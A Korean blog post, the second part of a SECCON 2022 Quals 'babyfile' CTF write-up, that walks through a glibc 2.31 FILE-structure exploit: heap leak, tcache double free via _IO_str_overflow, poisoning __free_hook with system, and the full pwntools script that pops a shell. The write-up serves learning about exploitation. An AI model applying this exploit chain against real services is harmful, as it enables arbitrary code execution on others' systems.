문제 풀이/Write-up

[Write-up]SECCON 2022 Quals babyfile write-up - 2

poiri3r 2025. 12. 30. 18:08

오늘 풀어본 문제는 저번 문제에 이어서 babyfile입니다.

 

저번 포스팅에서는 seekoff와 overflow함수를 이용하여 libc leak을 성공하였습니다.

이어서 해볼 것은 공격 벡터를 찾고 쉘을 따는 것 입니다.

 

from pwn import*
context.log_level='debug'
p = process("./chall_patched")
r = remote("localhost", 3157)
libc = ELF('./libc-2.31.so')

#trick을 도와주는 편의 함수
def trick(offset, value, size=8):
    for i in range(size):
        byte_val = (value >> (i*8))&0xff
        p.sendlineafter(b"> ", b"2")
        p.sendlineafter(b"offset: ", str(offset + i).encode())
        p.sendlineafter(b"value: ", str(byte_val).encode())
        p.recvuntil(b"Done.\n")

#fp의 flag값에 1880을 넣음
#1880은 write가 가능하게 해주는 flag값
trick(0, 0x80, size=1)
trick(1, 0x18, size=1)

#0x88은 fflush가 호출하는 sync와 우리가 호출하고 싶은 seekoff의 오프셋 차이
#seekoff는 파일의 커서를 이동시키는 함수로, 버퍼 생성 역할
#0xA0 - 0x18
target_lsb = 0x88

trick(216, target_lsb, size = 1)

#Flush로 버퍼 할당
p.sendline(b'1')

#이번엔 overflow함수 호출을 위해 오프셋 조정
#overflow 함수는 버퍼의 시작 주소를 포인터에 복사(_IO_write_base에 힙주소가 들어감)
target_lsb_init = 0x58   # 0xa0 - 0x48 = 0x58
trick(216, target_lsb_init, size=1)

p.sendlineafter(b"> ", b"1")

trick(112, 1, size=1) # _fileno = 1 (stdout)
#아까 버퍼에 쓰기를 하면서 할당받은 버퍼의 주소에서 -0x10
#청크의 앞에 libc주소가 남겨져있고 그 주소를 leak(unsorted bin attach)
trick(32, 0x70, size=1)
#플래그를 다시 1800으로 바꿈(이미 버퍼가 있으므로 까다로운 플래그를 끔)
trick(0, 0x00, size=1)
trick(1, 0x18, size=1)

#vtable 주소를 다시 원상복구
trick(216, 0xa0, size=1)
# 4. 발사! (Fire)
p.sendlineafter(b"> ", b"1")

lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#유출된 leak 주소에서 libc base 추출
libc_base = lic - 0x1e8f60
libc_heap_base = libc_base+0x1ec2c8
IO_str_overflow_ptr_addr = libc_base+0x1E9578
free_hook_addr = libc_base + 0x1eee48
system_addr = libc_base +0x52290
print(f'libc_base : {hex(libc_base)}')
print(f'libc_heap_base : {hex(libc_heap_base)}')
print(f'IO_str_overflow_ptr_addr : {hex(IO_str_overflow_ptr_addr)}')
print(f'free_hook_addr : {hex(free_hook_addr)}')
print(f'system_addr : {hex(system_addr)}')

gdb.attach(p)
p.interactive()

위의 코드는 이전 시간에 작성 했었던 코드입니다.

 

다음의 목표는 AAW를 실행해야합니다. 

일단 저희가 활용할 수 있는 도구들을 먼저 살펴보겠습니다. _IO_jump_t(vtable)안의 함수들을 살펴보겠습니다.

 

일단 제일 먼저 생각나는 방법은 두가지 정도 떠오르는 것 같은데 첫번째 방법은 libc leak할때 할당받은 heap에다가 직접 값을 써넣고 가짜 vtable로 사용하는 방법인데, 이 방법은 libc버전이 최신이라 vtable 검증에서 실패할 것 같습니다.

두번째로는 위의 힙을 free했다 할당하면서 poisonig을 일으켜 fd포인터를 오염시키는 방식입니다.

 

위 이미지는 현재 사용중인 힙입니다. 위의 1e0크기의 heap은 파일 구조체가 담겨 있고, 아래 1010사이즈는 libc leak을 할 때 할당받은 힙입니다.

사이즈 1011인걸 보니 1000크기의 힙 + fd/bk포인터 정보 (16바이트)가 포함된 것 같습니다.

해당 힙을 free 시키면 fd와 bk 위치에 값이 채워질 것입니다.

 

근데 생각해보니까 문제점이 있는데, 일단 제가 생각한 방법은 tcache poisoning이였는데 힙의 크기가 너무 커서 tcache poisoning이 불가능합니다. 작은 힙을 생성 가능할까 생각해봤는데, seekoff에서 버퍼자리가 없을때 생성하는 힙의 크기는 고정이라 불가능할 것 같습니다.

또 해당 버퍼를 free시키고 다시 할당할만한 방법이 마땅히 떠오르지 않네요..

 

이것저거 찾아보고 write-up도 찾아보면서 방법을 찾아봤습니다. 

작성된 write-up이 많이 없어서 아래 첨부한 링크의 write-up을 찾아봤습니다.

https://uz56764.tistory.com/81

 

[CTF write up] SECCON CTF 2022 Qual - Babyfile : Hard FSOP Challenge

int __cdecl main(int argc, const char **argv, const char **envp) { int idx; // eax char offset; // [rsp+7h] [rbp-9h] FILE *fd_null; // [rsp+8h] [rbp-8h] alarm(0x1Eu); write(1, "Play with FILE structure\n", 0x19uLL); fd_null = fopen("/dev/null", "r"); if (

uz56764.tistory.com

 

먼저 저희가 자세히 살펴봐야할 함수는 overflow입니다. overflow의 소스코드를 살펴보겠습니다.

overflow의 소스코드는 다음과 같습니다.

함수의 흐름을 정리해보겠습니다.

#현재 버퍼의 위치 계산(write_ptr - write_base)
pos = fp->_IO_write_ptr - fp->_IO_write_base;

#새로운 버퍼의 크기 결정(기존의 2배 + 100)
_IO_size_t new_size = 2 * old_size + 100;

#새로운 버퍼 포인터
char *new_buf;
char *old_buf = fp->_IO_buf_base; 

#메모리 할당 함수 호출(*sf->_s._allocate_buffer은 malloc을 가르킴)
new_buf = (char *) (*sf->_s._allocate_buffer) (new_size);

#데이터 복사
if (old_buf)
    {
      memcpy (new_buf, old_buf, old_size); // 
      
      //기존 old_buf 해제 (sf->_s._free_buffer는 기본적으로 'free'를 가리킴)
      (*sf->_s._free_buffer) (old_buf);
    }

제일 핵심적인 부분만 요약을 해놨습니다. 취약점이 발생하는 부분이 있나? 싶은데 공격기법을 보면 참 대단한 것 같습니다.

먼저 해당 overflow는 Malloc -> Memcpy -> Free 순서로 실행됩니다.

 

아까 제가 공격벡터를 생각해보면서 고민했던게 해제하고 싶은 힙 주소가 있을때 어떻게 해제를 해야하지? 하는 부분이었습니다.

str_overflow함수는 fp -> _IO_buf_base에 해제하고 싶은 힙 주소를 넣고 호출하면 j_free(old_buf)를 실행하므로 free를 통해 Tcache 리스트에 청크를 넣을 수 있습니다.

이 과정을 통해 Tcache 리스트에 청크를 넣고, poisoning을 발생시킬 수 있습니다.

익스플로잇을 작성하면서 더 상세하게 알아보겠습니다.

 

일단 먼저 libc_heap_base를 알아내야합니다.

ASLR에 의해 힙 영역의 주소가 바뀌기 때문에 해줘야 하는 작업입니다.

아까 구한 값 libc_base에서 0x1E9578을 더하면 mp_(malloc parameters)라는 구조체 변수가 살고 있고 구조는 다음과 같습니다.

struct malloc_par {
    unsigned long trim_threshold;
    unsigned long top_pad;
    unsigned long mmap_threshold;
    unsigned long arena_test;
    unsigned long arena_max;
    int n_mmaps;
    int n_mmaps_max;
    int max_n_mmaps;
    int no_dyn_threshold;
    unsigned long mmapped_mem;
    unsigned long max_mmapped_mem;
    char *sbrk_base;  // 
};

 

여기서 *sbrk_base라는 변수는 실제 힙이 시작되는 주소를 담고 있으므로, 해당 값을 통해서 heap leak을 할 수 있습니다.

print 되는 주소를 찾아서 확인해봤습니다.

주소가 일치하는걸 확인할 수 있었습니다.

이제 해당 값을 leak하는 코드를 작성하겠습니다. 

trick(32, libc_heap_base, size=8)
trick(40, libc_heap_base+0x10, size=8)
p.recv()
p.sendline(b'1')
data = p.recvuntil(b"Done.")
heap_leak = data[:6]
heap_base = u64(heap_leak.ljust(8, b'\x00'))
file_heap = heap_base + 0x2a0
log.success(f'heap_base : {hex(heap_base)}')
log.success(f'file_heap : {hex(file_heap)}')

코드 작성은 다음과 같이 했습니다.  55나 56을 잡아서 data에 저장하려고하는데 이유모르게 계속 오류가 나서 그냥 Done.을 기준으로 앞에서 슬라이싱을 했습니다.

위와같이 heap leak은 제대로 됐습니다.

file_heap은 저희가 사용할 heap 데이터 영역으로,

두번째 청크인 File Heap에서 0x10만큼 더한 데이터 영역의 부분입니다. 여기까지하면 heap leak은 완료되었고, 이제 저기 file_heap을 대상으로 double free bug를 일으키면 됩니다.

먼저 여태껏 했든 vtable 포인터를 _IO_str_jumps 근처로 변경해야합니다.

#vtable포인터를 _IO_str_jumps 로 변경
trick(216, IO_str_overflow_addr-96, size = 6)

 

다음은 size를 계산해야합니다. size는 너무 작지 않은 크기이면서 Tcache에 들어가는 적당한 크기이고, 참고한 블로그에서 ㅏ용한 크기여서 그대로 가져와봤습니다.

size = 0x171
malloc_size = int(((size - 1) - 0x10 - 100) / 2)

malloc_size는 아까 저희가 overflow를 살펴볼때 확인한 부분입니다.

해당 숫자를 역산하는 코드입니다. size = 0x171에는 flag값인 1비트가 포함되어있기 때문에 1을 빼고 역산했습니다.

 

#file_heap_0x70 앞에 size header 넣어두기
trick(0x68,size, size=6)
#overflow 함수로 free를 발생시킴, buf_base와 buf_end에 같은 주소)
trick(56, file_heap+0x70, size=6)
trick(64, file_heap+0x70, size=6)
p.sendline(b'1') #

위의 코드는 첫번째 free를 발생시키는 부분입니다.

file_heap + 0x68위치에 size를 미리 넣어두고, buf_base와 buf_end에 같은 주소를 넣은 뒤 overflow함수를 실행시켜 첫번째 free를 유발하고 있습니다. 한번 gdb를 열고 확인을 해봤습니다.

tcachebins에 0x170크기의 힙이 정확하게 들어갔습니다.

이제 double free버그를 발생시켜야 하기 때문에 tcache값을 조작해야합니다.

tcache값은 해당 주소 시작점 + 8의 위치에 있으므로, 

trick(0x78, 0x0, size=8)

와 같이 작성을 했습니다.

trick(0x68,size, size=6)
trick(56, file_heap+0x70, size=6)
trick(64, file_heap+0x70, size=6)
p.sendline(b'1')

다음 free를 한번 더 발생시키면 double free bug가 발생하게 됩니다.

한번 디버거로 확인해보겠습니다.

순환참조가 발생하는걸 보니 제대로 됐음을 확인할 수 있습니다.

(*그냥 실행하니까 제대로 안먹혀서 trick과 sendline중간에 sleep을 추가해주었습니다.

이제 남은건 tcache.fd에 free_hook의 주소를 넣고 0x170크기의 메모리를 할당하면 됩니다.

또한 free hook에 system주소를 넣어두면 됩니다.

 
#tcache의 fd에 free_hook
trick(0x70, free_hook_addr-0x18, size=8)
#첫번째 청크 할당
trick(40, 0x0, 6) #_IO_write_ptr (에러방지)
trick(56, 0x0, 6) #_IO_buf_base
trick(64, malloc_size, 6) #_IO_buf_end
time.sleep(0.1)
p.sendline(b'1')

아까 말했듯 overflow함수는 기존 크기에서 *2 + 100을 통해 버퍼를 할당합니다.

저희는 malloc_size를 역산해뒀기때문에 프로세스내에서 계산을 한 뒤 170크기의 버퍼 할당을 요청하게 됩니다.

gdb로 실행한 결과입니다.

tcachebins에 저희의 의도대로 libc내의 free_hook 주소가 입력되었습니다.

이상태에서 한번 더 할당을 시도하면, free_hook이 호출될 것입니다.

이제 할당을 시도하기 전에 system 주소를 설정하겠습니다.

 

#payload 실행
#flag 설정
trick(0, 0xfbad1800,size=4)
#빈공간에 system인자와 system주소
trick(0xe0,u64(b'sh'.ljust(8,b'\x00')),size=8)
trick(0xe0+0x18,system_addr,size=6)
#다시 overflow 호출 준비
trick(40,0,size=6)
trick(56, file_heap+0xe0,6)
trick(64, file_heap+0xe0+malloc_size, size=6)
time.sleep(0.1)
p.sendline(b'1')

0xe0은 vtable위치까지 끝나고 아무 데이터도 없는 빈 땅을 골라서 적었습니다.

해당 주소에다 system인자인 sh와 system주소를 넣어뒀습니다.

 

해당코드를 실행하게 되면, 0x170크기의 malloc을 할당하게 되고, 저희가 아까 작성한 free_hook - 0x18을 할당받게 됩니다.

이때 free_hook - 0x18엔 저희가 넣어둔 "sh"문자열이 들어가고, free_hook위치엔 system_addr이 들어가집니다.

그 뒤 예전 버퍼를 free시키는 overflow함수의 과정에서 free(fp->_IO_buf_base)코드가 실행되게 되고, 

여기서 IO_buf_base 위치엔 sh가(file_heap + 0xe0) __free_hook에는 system이 쓰여져 system("sh")가 완성되게 됩니다.

실행하고 디버거를 확인하면

file_heap + 0xe0위치에 68 73(sh)가 들어가있습니다.

마찬가지로 free_hook도 살펴보면

free_hook - 0x18위치엔 6874이 free_hook의 위치에는 특정 주소가 적혀있는데

해당 주소는 system의 주소입니다.

쉘로 확인해보면 성공적으로 딴 걸 확인해볼수 있었습니다!

 

이상으로 babyfile의 write-up 작성을 마치겠습니다!! 

아래는 익스플로잇 전문입니다.

from pwn import*
context.log_level='debug'
p = process("./chall_patched")
r = remote("localhost", 3157)
libc = ELF('./libc-2.31.so')

#trick을 도와주는 편의 함수
def trick(offset, value, size=8):
    for i in range(size):
        byte_val = (value >> (i*8))&0xff
        p.sendlineafter(b"> ", b"2")
        p.sendlineafter(b"offset: ", str(offset + i).encode())
        p.sendlineafter(b"value: ", str(byte_val).encode())
        p.recvuntil(b"Done.\n")

#fp의 flag값에 1880을 넣음
#1880은 write가 가능하게 해주는 flag값
trick(0, 0x80, size=1)
trick(1, 0x18, size=1)

#0x88은 fflush가 호출하는 sync와 우리가 호출하고 싶은 seekoff의 오프셋 차이
#seekoff는 파일의 커서를 이동시키는 함수로, 버퍼 생성 역할
#0xA0 - 0x18
target_lsb = 0x88

trick(216, target_lsb, size = 1)

#Flush로 버퍼 할당
p.sendline(b'1')

#이번엔 overflow함수 호출을 위해 오프셋 조정
#overflow 함수는 버퍼의 시작 주소를 포인터에 복사(_IO_write_base에 힙주소가 들어감)
target_lsb_init = 0x58   # 0xa0 - 0x48 = 0x58
trick(216, target_lsb_init, size=1)

p.sendlineafter(b"> ", b"1")

trick(112, 1, size=1) # _fileno = 1 (stdout)
#아까 버퍼에 쓰기를 하면서 할당받은 버퍼의 주소에서 -0x10
#청크의 앞에 libc주소가 남겨져있고 그 주소를 leak(unsorted bin attach)
trick(32, 0x70, size=1)
#플래그를 다시 1800으로 바꿈(이미 버퍼가 있으므로 까다로운 플래그를 끔)
trick(0, 0x00, size=1)
trick(1, 0x18, size=1)

#vtable 주소를 다시 원상복구
trick(216, 0xa0, size=1)
# 4. 발사! (Fire)
p.sendlineafter(b"> ", b"1")
lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#유출된 leak 주소에서 libc base 추출
libc_base = lic - 0x1e8f60
libc_heap_base = libc_base+0x1ec2c8
IO_str_overflow_addr = libc_base+0x1E9578
free_hook_addr = libc_base + 0x1eee48
system_addr = libc_base +0x52290
print(f'libc_base : {hex(libc_base)}')
print(f'libc_heap_base : {hex(libc_heap_base)}')
print(f'IO_str_overflow_ptr_addr : {hex(IO_str_overflow_addr)}')
print(f'free_hook_addr : {hex(free_hook_addr)}')
print(f'system_addr : {hex(system_addr)}')

#아래는 heap leak 과정, heap base + file_heap
trick(32, libc_heap_base, size=8)
trick(40, libc_heap_base+0x10, size=8)
p.recv()
p.sendline(b'1')
data = p.recvuntil(b"Done.")
heap_leak = data[:6]
heap_base = u64(heap_leak.ljust(8, b'\x00'))
file_heap = heap_base + 0x2a0
log.success(f'heap_base : {hex(heap_base)}')
log.success(f'file_heap : {hex(file_heap)}')

#vtable포인터를 _IO_str_jumps 로 변경
trick(216, IO_str_overflow_addr-96, size = 6)

#malloc size 계산
size = 0x171
malloc_size = int(((size - 1) - 0x10 - 100) / 2)

#file_heap_0x70 앞에 size header 넣어두기
trick(0x68,size, size=6)
#overflow 함수로 free를 발생시킴, buf_base와 buf_end에 같은 주소)
trick(56, file_heap+0x70, size=6)
trick(64, file_heap+0x70, size=6)
p.sendline(b'1') #
#tcache key -> 0x0 (double free)
trick(0x78, 0x0, size=8)

#free 한번 더
trick(0x68,size, size=6)
#overflow 함수로 free를 발생시킴, buf_base와 buf_end에 같은 주소)
trick(56, file_heap+0x70, size=6)
trick(64, file_heap+0x70, size=6)
time.sleep(0.1)
p.sendline(b'1')

#tcache의 fd에 free_hook
trick(0x70, free_hook_addr-0x18, size=8)
#첫번째 청크 할당
trick(40, 0x0, 6) #_IO_write_ptr (에러방지)
trick(56, 0x0, 6) #_IO_buf_base
trick(64, malloc_size, 6) #_IO_buf_end
time.sleep(0.1)
p.sendline(b'1')

#payload 실행
#flag 설정
trick(0, 0xfbad1800,size=4)
#빈공간에 system인자와 system주소
trick(0xe0,u64(b'sh'.ljust(8,b'\x00')),size=8)
trick(0xe0+0x18,system_addr,size=6)
#다시 overflow 호출 준비
trick(40,0,size=6)
trick(56, file_heap+0xe0,6)
trick(64, file_heap+0xe0+malloc_size, size=6)
time.sleep(0.1)
p.sendline(b'1')

gdb.attach(p)
p.interactive()

비록 다른 write-up을 참고하면서 하긴 했어도 정말 많이 도움이 되는 것 같습니다.

문제푸는게 상당히 재밌네요. 다음엔 어떤 문제를 풀어볼지 고민이 되는 것 같습니다.

읽어주셔서 감사하고, 다음에도 더 좋은 포스팅으로 찾아뵙겠습니다.